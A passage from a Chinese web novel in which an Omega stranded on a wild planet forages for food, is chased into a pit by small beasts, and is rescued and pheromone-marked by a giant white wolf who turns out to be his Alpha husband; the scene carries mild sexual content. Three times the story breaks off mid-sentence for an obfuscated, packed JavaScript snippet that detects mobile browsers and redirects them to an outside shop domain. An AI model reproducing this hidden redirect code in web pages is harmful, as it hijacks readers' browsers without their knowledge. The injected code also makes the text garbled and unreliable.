沾了荤油,烫熟的野菜异常鲜绿,撒了盐和调味后,他关火用大碗盛出,煮的野菜多,舀完锅里还有不少汤汤水水。 和食物不同,调味品每一顿的用量都较少,装上一瓶或一罐,就足够吃很久,他又是一个人,当初带来的食物虽然不多,但调味品却能吃一年多甚至更久。 肉吃一点少一点,煮成肉片野菜汤,不止能填饱肚子,还能让过于清淡的野菜变得好吃一点。 时诺独自坐在餐厅吃饭,他今天没有蒸米饭,面前只有一大碗肉片野菜汤。 米越来越少了,在外面没找到可以补充的主食。 刚到这里的时候,他经常食不下咽,一个人在寂静无人的星球吃饭实在太孤独。 最近他饭量变大了,每天在外面跑很久,早上出门三趟,下午出去两趟,运动量增加,别说饭量,连体力都变强了。 最开始出门挖野菜的那几天,他拎着一桶野菜回来,路上总气喘吁吁,今天去了较远的河边,回来也没感到身体有什么不适,就连被大鱼吓到,也很快平复。 毕竟不是第一次遇到危险的小动物。 一碗吃完,时诺端起大碗喝了几口热乎乎的汤,又起身到厨房把剩下的野菜舀出来,吃了个干干净净。 洗锅碗时,他不由自主想起那条大鱼。 咬合力很强,一张鱼嘴长满利齿,咬中空气的咔咔声似乎还回荡在耳畔。 大鱼约有一米长,或许力气也很大,一旦咬中岸边的猎物,肯定会拖进水里,这种吃肉的凶残鱼,说不定肉质很粗糙很不好。 当然,他这么大一个人,大鱼再凶,应该是拖不动的,除非是更大的鱼。 他又想起浅水里的小鱼小虾,小一点,肉看着就很鲜嫩。 收拾干净厨房和餐桌,已经是傍晚了。 晚霞红透天际,又有一层金光渲染,没有任何污染的天空澄净透彻,大团大团的云彩漂浮。 时诺打开光脑,将门窗锁好,机括运转的厚重声音带来一丝安全感,隐藏在墙内的冰冷精铁显然很坚固,不然房子也不会孤零零在荒原伫立这么多年。 浴室。 刷牙的时候,时诺看见镜子里的自己,头发明显长长了,别的还好,额前头发都快遮住眼睛。 他皱眉,心里有种说不清的烦躁,明明没注意到的时候,头发没给他造成任何困扰,眼下盯着镜子里的长发,一股闷闷的感觉让他很不舒服。 头发一长,遮住了眼睛,让他觉得闷热,不够清爽利落,连眼睛都难受起来,很烦躁。 他拿了剪刀进浴室,轻微的“嚓嚓”声响起,黑发一截截掉落,眼前彻底没了遮挡后,才觉得舒坦。 后颈的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13682621|144275||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头发也剪短,脖子不再受长发扫过的细碎困扰,摸着就舒心。 收拾剪落的头发时,时诺抬头看见镜子里的自己,手艺很差,一头黑发参差不齐,毫无美感可言,甚至是丑陋的。 他瞥过一眼,没在意,又低头仔细收拾,擦干净所有碎发。 · 几缕亮光穿过白纱透过窗帘,从轻微晃动的缝隙中照在床上。 位于墙夹角的床头避开了阳光直射,床上的人过了很久才睁开眼。 一看都九点了,时诺慢吞吞坐起来穿衣裳。 昨晚因为头发,自己跟自己生闷气,睡得晚了些,今天总算恢复。 低垂的眉眼带着浓浓倦意,他拉开窗帘一角望向外面,今天依旧是好天气,该去外面挖野菜,顺便找找根茎类食物。 如果下雨,地面变得泥泞,可能好几天都出不了门。 · 或许是好运气到来,时诺挖了两趟野菜后,想了想,便朝着很少踏足的西北方向走。 西北是蜿蜒大河的上游方向,北边有片较密较大的树林,他没有进林子,而是绕过了树林,沿着野草茂盛的原野一路往前,边走边拔起各种野草和藤蔓,竟然真的让他找到一株“结果”的根茎类植物。 时诺蹲在长势很好的地上茎旁边,地上茎大约六十厘米高,枝条叶子茂盛。 这株植物根系发达,刚才费了很大劲才稍微拔起一点,根部松动之后,他就看见了藏在土里的一块东西。 他找来了两根短树枝,不断松土,用手刨开土壤,忙忙碌碌好一阵,总算把植物整个挖了出来。 发达的须根上挂了许多大大小小的根块,时诺摘下一个,欣喜之下直接用手擦干净根块上的土,发现有点像红皮土豆。 他取过小桶上挂的刀,切开一看,里面也是红心的,切开过了十几秒,两个切面缓缓渗出白色汁液。 不知道能不能吃。 时诺没敢让汁液沾到手上,也怕这种汁液会腐蚀小桶,就扔了这个切开的,把剩下的所有根块都摘下,抖落干净泥土,装进桶里。 这一株就收获了大小总共二十一块,当然,指甲盖大小的他没摘,桶里最小的也有三分之一拳头大。 时诺拎起小桶匆匆往回赶,开门后直奔地下室,切了一小块放进甄别器中。 等待的两分钟里,他神色紧张,一下为找到新食物感到心喜,一下又担心无法食用。 滴—— 甄别器出了结果,他连忙上前查看甄别器上的面板,看到“可食用”三个大字的时候,才像是找到呼吸声。 分析结果显示淀粉含量较高,果然和土豆很相似。 还显示了分泌出的汁液没有腐蚀性,但有轻微的麻痹作用,不过只要彻底做熟,麻痹性就会消失。 时诺很高兴,他把这种根块的图片收录进系统资料里,为方便记忆,他直接给图片备注为红皮红心土豆。 土豆有了,想起刚才看见的同类地上茎不止一株,他兴高采烈,今天可以收获很多。 不过他没有立即出门采挖,而是提着小桶上来,进厨房洗了五个小的,锅里放了水,把土豆放进去,开火就煮。 时诺迫不及待想尝尝和野菜不同的味道,他就站在灶前等待,顺手把剩下的土豆都洗干净,一边看着锅里的水一边想要怎么吃。 蒸煮都试一试,如果真是土豆的口感,就能当主食吃,虽然会分泌麻痹性汁液,可以戴上手套切成条,泡泡水试着当菜炒熟或者炖煮。 等待略显焦急,锅里的水沸腾后,时诺怕没煮熟中毒,耐心等了十五分钟,用筷子戳一戳,发现扎透了。 关火把五个小土豆都捞出来,他伸手剥皮,土豆很烫,剥两下就得收回手吹吹。 红皮剥掉后,里面也是淡红色,他迫不及待咬一口,糯糯的,口感微甜,最外面清清麻麻的,和土豆真的很像。 总算多了一种食物,久违的口感让他一口气吃了两个,才想起该撒点盐尝尝。 果然,盐让味道提升了不止一点。 吃完以后,虽然有点撑,但时诺干劲满满,拎起两个小桶就出门挖土豆。 5. 第 5 章 一连挖了三天土豆,用小桶运回来两百多颗,时诺才堪堪停手,有地下室和冷储柜,暂时不用担心存放。 之所以停下,是他挖了这么多植株后,意识到现在还没到土豆的彻底成熟期,因为须根上很多土豆都偏小,显然正在成长。 挖回来的足够吃很多天,他想着不如再等十天左右,长大一点再去挖,口粮会更多。 这颗星球的天气变化没有那么极端,十天到半个月时间,应该不会有剧烈变化。 他每天都往西北方向搜寻,发现像这样直接能吃的野生种,挂果多、口感还不错的,分布密度并不高,也就是这片荒原很大,而且只有他一个人挖,数量看起来还不错。 怕走得太远有危险,还是克制一下,耐心等一等为好。 如果能收获五六百颗大土豆,在长期储存没有烂掉的情况下,一天吃三个,足足可以吃二百多天,再加上干野菜,可以让他生存半年甚至更久。 一般来说,资源型星球的严寒、酷暑天气都不会持续太长时间。 想通这一点后,时诺心里总算没那么焦急了。 咕嘟—— 小锅里的水沸腾翻滚,时诺端起盆,将里面浸泡过土豆块的水倒掉,盆底剩下的土豆块不多,被悉数倒进锅里。 他只切了两个土豆,用一盆水浸泡也是这几天摸索出来的,水如果太少,土豆块的汁液无法被稀释,尽管炖熟煮熟后没有麻痹性,但口感很不好。 只要没有切面,整个煮熟或蒸熟的土豆块倒是没有汁液方面的困扰。 从冷储柜拿出来一块方形固体油,时诺切了薄薄一片放进锅里,又把剩下的固体油脂包好放回去。 他舍不得放大块的肉和土豆一起炖,这种固体油脂是荤油,会让煮熟的土豆味道更香。 一共有两盘固体油,五厘米的方块,一盘十个,吃到现在还剩下八个半。 除了这种固体油以外,他还有两个方形桶的液体油,各有六斤,一桶荤油一桶素油,两桶都打开吃了不少,但都没有这种肉禽类的油脂味道香浓。 油类一天天在减少,他吃得越发节省,菜和主食可以在野外找到,油就不行了,除非抓到猎物,用肉可以熬出油。 二十分钟后。 时诺舀出一大碗土豆汤,汤上浮着薄薄一层油花,凉拌的野菜已经入了味。 这种野菜是他新找到的一种,可以不用焯熟,泡水洗干净了,清脆爽口,很适合凉拌,就是比较少,找很久才能挖到一桶。 今天的早饭相对来说比较丰盛,时诺吃得心满意足。 解决了早餐后,时诺打开大门,站在门口看了一会儿,睡醒的时候就发现天有点阴,现在阴云变得更多,但没有下雨。 他想了下,还是拎起放在大门里面的两个小桶,一边走一边用语音唤醒光脑锁紧了门窗。 房子附近的圆叶野菜和红杆野菜是最多的,哪怕他天天挖,也天天都有新长出来的,不愁没得吃。 趁着没下雨,赶紧挖两桶。 不知不觉,他习惯了干活,不挖点什么回来囤着,总觉得不踏实。 一把又一把野菜被连根拔出,时诺如今干这种活已经很利索,连手掌都不似以前那么脆弱娇气。 一开始挖野菜拔野菜的时候,他手心总被磨得生疼,有时不小心蹭到树枝或石头,撞一下碰一下也难受,手心手背都有不少细碎的伤。 房子里有手持治疗仪,一开始受伤,无论伤口大小,他都会习惯性使用治疗仪,后来见惯了手上的伤,只有出血才会去使用,毕竟治疗仪中的外伤药,也是用一次少一次。 他知道野外一些植物有药用价值,但自己分不清,就算有甄别器,也需要花时间寻找分析,去慢慢验证、记录。 所以学会干活以后,他尽量避免让自己受伤,外伤好治,就怕感染或者发烧。 风从远处吹来,长长的野草像是波浪在翻涌。 风里卷着草籽土屑,时诺眯起眼,伸手遮在眼睛上遮挡,等这阵风过去,才抓紧薅了几把圆叶野菜,拎起两个快满的小桶往回走。 天上阴云越来越重,光线变暗,风夹杂着一股难言的水腥气,潮湿、冰凉。 比起上次下雨,这次室外温度明显降低了一些,时诺被吹得有点冷。 吼—— 一声咆哮从远处传来。 这声音高昂有力,带着明晃晃的警告意味。 和有兽形的Alpha不同,Beta、Omega虽然没有兽人那样强大,但共同生存、进化万年,早已对兽人的习性有所了解,甚至对野兽也拥有一定敏锐度和直觉。 这道声音中充满了愤怒,甚至传递了不少信息。 时诺隐隐分辨出野兽的位置,像是从大河对面传来的。 他脸上血色一瞬间褪去,咆哮声相隔这么远都听得如此真切,这只,或者这群野兽的实力分明不弱。 惊骇之下,他只觉眼前像是在微晃,难以站稳,很快,他发现不是自己的问题,是大地在震动。 远处像是有庞然大物奔跑,又像是一群野兽在狂奔。 时诺睫毛颤抖,抬起的眼睛中盛满破碎水光,腿脚都发软。 然而,随着另一声压迫感十足的怒吼冲天而起,直击灵魂,心脏像是被攥住。 整片荒原都安静下来。 良久,听不到任何声音,地面不再颤动,时诺才从极致的压迫震慑中挣脱。 蓄在眼眶中的泪珠早已大滴大滴掉落,脸上一片冰凉,他稳住心神,软着脚努力往房子里赶。 风越来越冷,雨丝飘下,时诺进了大门,立刻将门窗都锁上。 · 大河河面最起码有一百米宽,房子能存在这么多年没有被毁掉,选址应该是经过深思熟虑的,那些野兽很有可能过不来。 但时诺还是缩在卧室,小空间远比外面客厅安全感更强。 他拉上窗帘,捂得严严实实,房间光线很暗,怕吸引野兽,他不敢开灯。 恒温调控在运行,卧室里升了三度,温度很适宜,不会过热,和外面的冷风冷雨形成鲜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13682622|144275||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明对比。 脱了沾到草屑的衣裳,时诺飞快躲进被子里,牢牢裹住自己以后,才能喘口气。 他不知道河对岸都有什么野兽,但一定不好惹,光从声音判断,体型不会小,更何况还有不止一个野兽群。 也许是两方野兽在争夺地盘,这是很常见的事。 他在心里安慰自己半天,却不受控想起第二道吼声,威严、不容挑衅,灵魂都似在发抖,根本不是普通野兽。 或许是这一片荒原的兽王。 但直觉让他心生恐惧,想起另一种可能,也可能是某种异兽。 一些特殊的星球孕育出特殊物种,那些庞大奇特的异兽,生存手段不但多,还拥有智慧,绝大部分都狡诈残忍,甚至一些稀有种还拥有异能。 无论兽王还是异兽,时诺清楚,自己对它们来说,可能只需要一口就能吞下。 在这里生存三个月,他只见过一些小动物,心里都放松下来,不想河对岸就潜藏着巨大的危险。 · 雨下了一夜,第二天早上停了,阴云消散,天空像是被洗过一样碧蓝清透。 下雨过后,或许会有蘑菇长出来,可上次下完雨时诺没看见,不过他当时没怎么出过大门,没看见是正常的。 这次他是不敢出门。 吃过饭,门窗依旧紧闭,换气系统勤勤恳恳运行。 时诺回到卧室,靠坐在床头,没忍住往西边窗子伸手,掀开窗帘一角望向外面。 大河离得远,从这里看不到。 他看过地图,河流是以不规则的弧形从北至西流淌,又转个弯从更远的南边经过,一路往东奔腾。 因河道蜿蜒,房子西边比起其他方向稍微近一点。 外面是一望无际的野草,随着风摇摆不定,看不见任何大型野兽。 天光放亮,比起昨天的阴雨笼罩,似乎安全了许多。 时诺放下窗帘,他想了想,打开光脑,将房子智能系统的扫描功能范围调大至方圆一千米。 扫描结果显示一千米内没有任何大型动物。 那些生物应该被大河拦在了对岸。 尽管这样想,时诺还是有些不放心,他仔细查看扫描功能的详情。 一次大范围扫描耗费的电力不算多,如果设置成常规化扫描,时刻监控周围大型生物的出没踪迹,在一千米至一千五百米的范围内,一颗能量晶石就只能供应一个月的电量,一下子缩短了一半。 一共有一百三十五颗晶石,来到这里后用掉了一颗,还有一百三十四颗。 一百三十个月,也就是十年左右。 算起来,这些能量晶石其实很充裕,如果不是这次意识到猛兽的存在,原本可以使用二十年。 二十年…… 具体化的数字展现在眼前,透着某种残忍。 时诺陷入沉默,知道自己会被困在这里很久,但从来没有像这一刻这么清晰。 十年和二十年都很长,节不节省,其实没有太大区别,眼下的安全才是最重要的。 6. 第 6 章 这一场雨下完,时诺明显感到气温下降,所有恐惧在饿肚子面前都要让步。 两天后。 清晨。 打开光脑,确认一千五百米范围内没有野兽,他设置好紧急提醒,只要周围有任何中大型生物出现,光脑都会弹出警示消息。 不止这样,光脑可以连接智能系统,尽管连不上星网,但房子的智能系统本身就装有一个小型信号器,最大覆盖范围可以达到五千米,在这五千米,也就是十里之内,他的光脑可以远程操控系统的所有功能。 他平时很少走出三里以外的距离,就算西北边挖土豆的方向远一点,也就四五里左右。 这两千米的距离,能量会耗费多一点,不过他不是全天都在野外,出门后不需要全面覆盖,自己要去哪个方向,用光脑操作,划出扫描区域就好。 雨水滋养了嫩苗,白天太阳大,但总有一些草丛低洼处藏着雨水,鞋子和裤边不免沾上水露和湿泥。 时诺手里拿着一把前宽后窄的木板,挑着野菜苗挖。 他手腕上的腕带式光脑往小臂中间挪了挪,不然弄脏了回去还得仔细清洗。 光脑材质都是防水防污的,只是他在这里无法找人修理,更无法购买新的,得好好珍惜。 出来之前他不止设置了野兽提醒,还设置了距离提醒,以房子为起点,直线距离每走出三百米,光脑都会用语音提醒他。 至于木板,是他前两天躲在房子里没事做,找了树枝用刀削出来的。 手握的地方较细,用布缠了几圈,前段粗宽,像一把简易的锅铲,不过他用来铲地。 嫩野菜根系浅,土壤湿润,木板还挺趁手,松土也方便。 一边挖野菜,时诺一边仔细查看周围有没有长出来蘑菇,他捡了一根树枝,不时用树枝拨开深草丛,向里面张望张望。 不知道是地段的原因还是什么,他没看见几个蘑菇,偶尔在树下瞥见一两株,全是红杆红伞,蘑菇伞面上还有数个眼睛状的椭圆形波点,十分渗人。 看着就像有毒,他没敢去挖。 藤蔓受到雨水滋润,生长迅速,占据了一大片位置,附近的几棵树都被缠上,地上草丛也被藤蔓的枝条和叶片霸道遮盖住。 植物多多少少都会争夺阳光、雨露和地盘。 藤蔓条粗壮,几乎有手腕那么粗,叶片也很大,足以当雨伞,只是叶子正反面都长了细密的白色绒毛,摸起来很扎手。 时诺打算绕开这一片藤蔓,路过边缘时,有风吹拂,将离他很近的藤蔓叶片吹起来。 圆滚滚的绿色东西隐藏在大叶片下,随着风过去,叶片落下,又被遮住。 时诺眼神没有错过,他用手里的木铲挑开大大的叶片,清清楚楚看见了一个绿色的、圆滚滚的东西。 瓜? 西瓜! 圆球状的绿瓜隐藏在叶片底下,瓜皮上有一道道深绿色的不规则花纹,很明显就是西瓜。 这个西瓜比桶口大,无法用小桶拎回去,但两只手完全可以抱起来。 时诺欣喜至极,眼睛亮起来。 他顾不上去看藤蔓其他部位有没有长出更多的,把手里的东西都放在地上,取下桶璧外的菜刀,蹲下用手小心摸一摸圆滚滚的瓜,翘起的嘴角怎么都压不住。 有西瓜吃了。 他打算从瓜蒂那里砍下,抱着西瓜回去。 然而下刀之前,突然想起来万一没熟怎么办,一时又陷入困苦之中。 要是切开发现不能吃,那个场面实在让人心痛,可他又不知道西瓜什么时候熟。 不知道是不是错觉,蹲在这里离西瓜近了,仿佛闻到了一股瓜果熟透的甜蜜味道,像是从西瓜内部散发出来的,勾的人不自觉舔舔嘴巴。 时诺拿起地上的树枝,又去拨开其他藤蔓叶片,不对,应该叫西瓜藤了。 发现还有其他叶子底下还藏了四五个圆滚滚的瓜,时诺眼睛弯了弯,清亮的眼眸中都是喜意。 他当机立断,先把第一个发现的瓜摘下来,这个看起来大,而且花纹颜色深,散发出一股香甜味道,说不定真的熟透了。 藤蔓很结实,砍第一下只留下浅浅的痕迹,于是他鼓足劲再次劈砍。 变故在一瞬间发生。 原本伏在地上一动不动的“西瓜”突然从中间横裂开,发出轻微的咔咔声。 瓜皮变成绿色的尖齿,上下契合,骨碌往时诺脚边滚,上下牙齿张开,猛然就咬向时诺脚。 眼中欣喜变成茫然,面对危险,蹲着的时诺身体先一步做出反应,整个人往后仰,但姿势原因,屁股先着地。 他一手撑在地上缩回脚,避开了那一口,又狼狈从地上爬起来,迅速后退。 “西瓜”没咬到猎物,从“瓜瓤”里伸出一条鲜红的长舌头,舔了一圈嘴,红舌头在空中转了几圈,舌面上长着吸盘状的小疙瘩,似乎是在判断猎物的位置。 见“瓜”长在藤蔓上,根本动不了,时诺右手紧紧握着刀,神色带了一点恐惧,谁能想到这里的西瓜也会咬人。 他没有耽误,捡起地上的树枝,用另一端穿过两个小桶的桶环,用力从那边挑过来后,拎起两只桶就跑。 有什么窸窸窣窣的声音从身后传来,时诺回头,就看见从藤蔓周围的地下钻出来好几只像小狗又像鼠的土褐色动物。 体型小,身长二十多厘米,蜷缩成球状从土里翻出,嘴巴尖长,尾巴细长,但眼睛很小,似乎退化了。 时诺跑得快,却比不过这六七只小动物,鼻子在空子嗅闻几下,就辨别出猎物的踪迹,四肢着地,飞快追了上来。 第六感让时诺回头,有两只大的已经拉近了距离,其中一只小兽后腿蹬地,蹭一下就蹿跳起来,直扑他后背。 手里的刀下意识挥出去。 已经扑近的小兽察觉到雪亮刀刃带来的威胁,身体一扭,避开刀刃的同时掉落在地。 它看起来极不甘心,吱吱吱叫了几声,露出尖嘴里的利齿。 时诺刚逼退一只,其他小兽就靠近了,将左手的两只小桶丢出去,哐当掉下,追近的小兽灵活躲开。 他躲得很狼狈,原本想往房子的方向跑,却被七只小兽围追堵截,情急之下,只能朝着另一个方向逃。 脚下踉跄不已,大脑一片空白,只知道要往前跑,直到小腿忽然一疼。 时诺吃痛,被迫停下脚步低头看,一只小兽扑上来,死死咬住他小腿,他咬牙,将手里紧紧攥住的刀挥下去。 他眼眶红了,不知不觉掉下泪。 咬住他的尖嘴野兽在被砍中前松嘴躲开,然而后面追来的几只又蹬后腿,意图扑向他撕咬。 时诺不敢再停,迈开腿就跑,然而没跑几步,脚下突然踩空,失重感一瞬间降临,再回过神,他已经摔进一个大坑里。 摔得浑身都疼,他坐起来,立即拿起掉在旁边的刀,坐在坑底警惕地看向上方。 当几只尖嘴小型野兽从上面探头,鼻尖耸动嗅闻,时诺看见了土坑壁上的爪痕,和上头几只野兽的爪子很像。 背后冒出冷汗,他意识到,这个一人多高的陷阱就是这几只小兽挖的。 不止会设计陷阱,还会驱赶猎物跳进来。 吱吱吱—— 好几只小野兽都在叫。 时诺脸色惨白,从野兽的智商看,这一瞬间,他以为这几只野兽在商量怎么吃了他。 他紧紧握住刀柄,生死关头,他突然生出一股勇气,一手支在地上往后挪,背靠在坑壁上,不让自己腹背受敌。 这几只野兽的牙齿再厉害,想吃了他也得靠近他,他有武器, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13682623|144275||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几只不过幼犬大小的野兽,智商再高,皮毛也挡不住锋利的刀刃。 不过很快,他就发现这几只野兽的叫声不对,变成一种尖锐的恐慌。 吱——! 颤抖的叫声响起,时诺看见上方的小兽扭头就跑,他不知道发生了什么,懵了一瞬,但不敢放松警惕,死死盯着上方。 光脑在刚才被野兽追的时候语音提醒,他跑出了直线距离三百米。 起了一阵风,坑边野草被吹动,尽管没有听到任何声音,时诺莫名有些不安。 一个庞然大物出现在上方。 阴影遮蔽,将时诺整个覆盖,他看见了一只皮毛雪白、宛如巨物的狼。 蓝色的兽瞳微眯,沉静深邃,透出睥睨一切生物的冰冷。 肩高三米多的野兽似乎在打量猎物,鼻尖微动。 时诺后知后觉想起自己小腿上出血的伤,看见巨兽后僵滞的身体依旧动弹不了,他大概明白了,是血腥味道引来了这头巨兽。 像是确认了什么,白狼微眯的眼睛放松,变为眼皮微微耷拉的模样。 明明只是一只野兽,却能看出冷峻、漫不经心的帅气。 落在时诺眼里却不是这样。 他紧张到极点,喉咙里连声音都发不出来,发现白狼动了之后,受惊一般想要后退,然而背后就是坑壁,退无可退。 当巨狼探进脑袋,本就不算大的土坑被挤满。 近距离面对吐息温热的巨型野兽,时诺不大的胆量被彻底摧毁,浑身僵硬做不出任何反抗的动作。 身体腾空,被咬住衣服从土坑中叼出来后,极度的恐惧让他发抖,连刀柄都握不住,刀从他手中掉下去。 巨狼将他放在地上。 时诺没有了勇气,在地上蜷缩起来。 意识到自己以后不用在这颗星球挣扎求生了,他闭上眼睛等死。 他侧躺着蜷缩,背后忽然被顶住,野兽从后面将他翻动,他无法反抗,只能顺着力气趴在地上,露出后背。 温热、不可忽视的呼吸喷洒在后颈。 时诺侧脸枕着胳膊,一动不动等待死亡来临,空白麻木的大脑在这一刻竟然想到了无关紧要的事情,他原本以为野兽身上都会有腥臊味道,可这只却没有任何难闻的气味。 后颈突然被舔了几下,湿漉漉的。 他睁开眼,瞳孔微颤,被着重舔过的地方,是他腺体的位置。 作为Omega,这样的举动让他本能恐惧,无法猜透一只野兽想对他的腺体做什么。 然而下一刻,就有尖利的东西抵在后颈处,他知道,那是巨狼的牙齿。 时诺浑身轻颤一下,以这头巨狼的体型,咬下去齿关合拢,尖牙会穿破他脖子,瞬间就会死掉。 总比活着被撕咬好。 体型差距过大,在白狼眼里,Omega弱小、纤细,连兽形完全体的獠牙都承受不了。 在时诺看不见的背后,白狼周身闪过虚影,再凝实就缩小了一半,肩高只剩下一米五左右。 等待死亡来临的时诺感受到利齿刺破皮肤,那对獠牙刺进后颈腺体,却没有像他想的那样,继续穿透。 轻微的吮吸声响起,腺体里的液体信息素被吸走,Omega清甜的信息素液散发出馥郁香气,越来越浓。 惊骇之下,时诺不受控逸散出更多的信息素气味分子,整个人都散发着茶栀花香。 白狼喉咙在动,吞下香甜的信息素液后,从獠牙往Omega的腺体中注入属于Alpha的信息素液。 时诺这才闻到属于Alpha的信息素,霸道、强悍,注入到身体里,越来越多,像是要打上烙印,让他战栗不止。 过于强悍的Alpha信息素大量进入身体,竟然让他有了发qing的征兆,股间渐渐湿润。 7. 第 7 章 大脑一片混乱,身体的战栗停下后,时诺才清醒一点。 意识到身后的白狼就是修·埃尔维斯,而不是没有任何人类思维的野兽,劫后余生的情绪还未占据所有心神,身体上的狼狈越发明显,让他窘迫至极。 从未有过这样的经历,哪怕这里空无人烟,但修·埃尔维斯的存在,还是让他觉得这和在大庭广众之下丑态毕露没有区别。 时诺性格天生柔软,有点无法面对这样的事实。 然而白狼的舔舐再次落在颈后,粗糙、湿热的舌面像是故意在接触腺体,加剧了生理上的反应。 Omega的腺体隐藏在后颈皮肤之下,后颈平坦顺滑,看不出任何异样,只有Alpha知道,那一小片皮肤下,藏着世上最甜美的味道。 临时标记起了效果,对标记了自己的Alpha,对方的存在和信息素的释放,让时诺感受到了依赖,甚至是安全感。 只是再多的安全感,都无法驱散此时的羞耻和窘迫,他紧紧并着双腿,不想被对方发现自己的丑态。 Alpha有着极为灵敏的嗅觉,再加上野兽的本能,时诺所有的遮掩都是徒劳,从一开始就暴露了。 温热的呼吸从脊背渐渐往下,不知不觉变得炙热。 Tun部被嗅闻,甚至被用鼻子蹭了一下,时诺整个人瞬间僵硬。 哪怕个人资料上显示已婚,并且结婚对象就是修·埃尔维斯,可他从没有经历过这样的事。 文明社会里的Alpha绝大部分都是以人形出现,恋爱、交往以及更亲密的事,多半都用人形。 起码在时诺不怎么广的人脉和尚且纯洁的认知里,Alpha为了表现自己的理智和风度,应该不会用兽形对自己临时标记了的Omega做这样的举动。 gu间被不断深深嗅闻,时诺的羞耻心到达极限。 眼泪滑落,他脸红得不行,连白皙的脖子都染上热意,哽咽声响起。 “不。” 他一手伸到后面,试图推开白狼脑袋,他不敢回头,只能凭着直觉,入手便是一片毛绒绒。 头被摸,白狼停下动作。 Omega太弱小,哪怕是抗拒的力气,对白狼来说和抚摸没什么区别,它眉头皱了皱,似乎有些不耐烦。 它盯着蜷缩在地上的人,很快,就叼起时诺的后衣领,转身朝着房子的方向奔跑。 时诺被叼起来,整个人悬空,不等他反应,整个人又被抛到空中。 晕头晕脑掉落后,才发现自己被甩在了白狼背上。 他趴在宽阔结实的狼背上,发现白狼奔跑起来,两侧的景物飞快倒退,惊慌之下,他双手抓住了两侧雪白的狼毛。 自己没有操作光脑,也没有露出脸让扫描,房子大门却自动打开,白狼驮着他走进客厅。 时诺想起来,修·埃尔维斯是房子的第一权限主人,他在系统中见过对方名字。 他设置了中大型野兽出现的提醒,但修·埃尔维斯的信息本身存在于系统中,因此白狼出现在附近的时候,光脑没有任何警示。 白狼稍一倾斜,时诺就从它背上滑下,跌落在松软厚实的客厅大地毯上。 时诺坐在地毯上,两手撑在后面,在狼头逼近后,他上身情不自禁后仰,但没敢乱动。 一人一狼对视。 海蓝色兽瞳映出狼狈的自己,衣裳头发凌乱,而且衣服沾了很多土。 被追赶、逃跑,又掉进土坑,脸也不干净。 白狼眼神淡漠至极,看不出任何情绪。 良久,它从时诺身上收回视线,转头打量起房子的布局,迈步往里走。 时诺这才发现它体型变小了,迈步的姿态闲适散漫,像是在巡视领地。 很快,房子里充满Alpha霸道的信息素,经久不散,仿佛在向周围示威。 没有腺体处的刺激,临时标记带来的暂时发—情停止,湿掉的裤子布料变得冰凉,时诺极度难堪。 白狼往餐厅那边走,爪子粗壮有力,庞大的身躯矫健结实,走路却没有声响。 见它没有理会自己的意思,时诺爬起来往卧室走。 他进了浴室,脱掉所有衣服,小腿上的伤被蹭疼,他低头,四个血洞赫然出现在眼前。 治疗仪正好在卧室,他打开浴室门。 尽管进来的时候反锁了房门,时诺还是往门那边看了一眼。 Alpha的信息素很强势,气味分子早已渗透进卧室中,到处都是那股透着冷冽的淡香味。 从墙柜里拿出手持治疗仪,时诺回到浴室,清洗了一下伤口,擦干周围,点开治疗仪的开关,先选择消毒,等待一分钟后,又选择了外伤出血治疗。 治疗仪中喷出药雾,覆盖在伤口清清凉凉,缓解了疼痛。 时诺打开浴室的墙柜,将治疗仪放进去,转身站在洗手台前,开了水洗脸。 腿上的药雾两分钟后凝结成一层药膜,是防水的。 时诺往里面走,打开花洒,低着头默默将自己洗干净。 · 太阳高悬,耀眼炙热。 洗完澡,又仔仔细细洗干净内裤,等时诺慢腾腾从卧室出来后,白狼不见了。 对方留下的信息素分子十分浓郁,明显将整栋房子划为了它的地盘。 不止房子,时诺身上也散发出一股冷冽的奇异幽香。 他呆愣愣望向敞开的金属大门,陌生的Alpha自从释放信息素后,就不再约束自己,他可以从空气中的气味遗留分辨出对方离开的方向。 香味有点熟悉。 他想了好一会儿才想起来,很像他曾经见过的一株冰莲。 那是一株从寒冷星球来的冰雪莲花,很珍贵,时家通过其他贵族的渠道买到了一朵,运送到家里后,很快就开了花。 冰莲一层层绽放,带着丝丝缕缕寒气,肉质花瓣偏厚,花瓣根部白如雪,越往外越透明,宛如璀璨的水晶,在灯光下闪出璀璨光芒。 冷冽、淡幽的莲香闻过一次就难以忘记。 那股特殊的异香,如冰似雪,被莲香中和,是不伤人、攻击性较弱的冷冽,而且有着十分明显的镇静安神效果,时诺还记得那天晚上自己睡得很舒服。 白狼的信息素更特殊一点,像是冰莲绽放之时,有晶莹露水滴落、摔碎在花瓣上,水珠溅起,散发出一缕缕带着清爽水汽的冷冽淡香。 